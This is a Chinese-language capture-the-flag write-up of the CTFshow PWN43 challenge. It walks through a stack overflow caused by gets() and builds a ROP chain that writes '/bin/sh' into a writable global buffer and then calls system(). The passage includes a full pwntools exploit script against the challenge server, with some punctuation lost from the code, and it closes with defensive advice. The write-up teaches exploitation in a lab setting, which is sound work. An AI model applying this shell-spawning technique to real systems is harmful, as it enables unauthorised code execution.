CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的

发布时间:2026/6/3 13:05:56

CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的 CTFshow PWN43通关实录当system函数没有/bin/sh时我是如何手动‘造’一个的在CTF的PWN类题目中栈溢出漏洞的利用往往需要构造精巧的ROP链。但有时候即使找到了关键的system函数却缺少必要的参数——比如经典的/bin/sh字符串。本文将从一个解题者的第一视角详细还原如何在没有现成参数的情况下手动构造/bin/sh并成功获取shell的全过程。1. 问题发现与初步分析当我第一次拿到这道PWN43题目时按照常规思路我首先用IDA进行了静态分析。程序是一个32位的ELF文件主要逻辑在ctfshow函数中char s[104]; gets(s); return s;这里明显存在栈溢出漏洞——gets函数不检查输入长度可以覆盖返回地址。更重要的是我发现程序中有system函数的调用地址0x8048450但搜索整个二进制文件却找不到任何/bin/sh或sh字符串。关键问题如何在没有现成参数的情况下让system执行/bin/sh2. 寻找可写内存区域既然程序没有提供/bin/sh那么我们需要手动写入这个字符串。但首先必须找到一个可写的内存地址。使用GDB的vmmap命令查看内存布局gdb-peda$ vmmap Start End Perm Name 0x804b000 0x804c000 rw-p [heap]这里0x804b000到0x804c000这段内存具有读写权限rw-p。进一步分析我发现这个区域有一个名为buf2的全局变量地址是0x804B060——这正是我们需要的可写地址。提示在PWN题中全局变量通常存储在可读写段是写入自定义数据的理想位置。3. 构造ROP链的关键思路现在我们需要解决两个核心问题如何将/bin/sh写入buf2如何让system使用这个字符串作为参数解决方案是构造一个两阶段的ROP链首先调用gets函数让它从标准输入读取/bin/sh并写入buf2然后调用system参数指向buf2内存布局规划栈位置内容填充数据a*(0x6C4)返回地址gets函数地址gets返回地址system函数地址gets参数buf2地址写入目标system参数buf2地址命令参数4. 编写完整Exploit基于以上分析我们可以编写Python exploit脚本from pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28227) offset 0x6C 4 # 填充到返回地址的偏移量 system_addr 0x8048450 buf2_addr 0x804B060 gets_addr 0x8048420 # 构造ROP链 payload flat( bA * offset, gets_addr, # 覆盖返回地址为gets system_addr, # gets返回后跳转到system buf2_addr, # gets的参数写入目标地址 buf2_addr # system的参数命令字符串地址 ) p.sendline(payload) p.sendline(b/bin/sh) # 这是gets读取的内容 p.interactive()关键点解释第一个sendline发送ROP链触发gets函数第二个sendline提供/bin/sh字符串gets会将其写入buf2当gets执行完毕程序跳转到system此时buf2已包含/bin/sh5. 调试技巧与注意事项在实际操作中有几个容易出错的地方值得注意偏移量计算使用cyclic pattern确定精确偏移本例中0x6C是到ebp的距离再加4覆盖返回地址参数排列32位程序参数通过栈传递每个函数调用后其参数仍留在栈上内存权限验证务必确认写入地址可写使用checksec确认NX等保护机制注意如果gets执行后程序崩溃可能是栈不平衡导致的。可以尝试在gets和system之间插入一个简单的ret指令地址来调整栈指针。6. 替代方案探讨除了使用getssystem的组合还有其他几种可能的解决方案使用readsystem如果程序有read函数可以用它代替gets需要正确设置文件描述符、长度等参数一次性写入如果溢出空间足够可以直接在payload中包含/bin/sh需要找到一个固定的栈地址引用环境变量利用通过溢出修改环境变量复杂度较高不如直接写入内存可靠7. 防御措施与题目设计从防御角度这道题教会我们几个重要安全原则永远不要使用gets用fgets等安全函数替代或者严格限制输入长度最小权限原则不必要的内存区域不应有写权限可考虑将全局变量放在只读段地址随机化启用ASLR会增加利用难度但32位系统的ASLR熵值较低在实际开发中类似的漏洞可能导致任意代码执行危害极大。这道CTF题目很好地模拟了现实中的漏洞利用场景。

相关新闻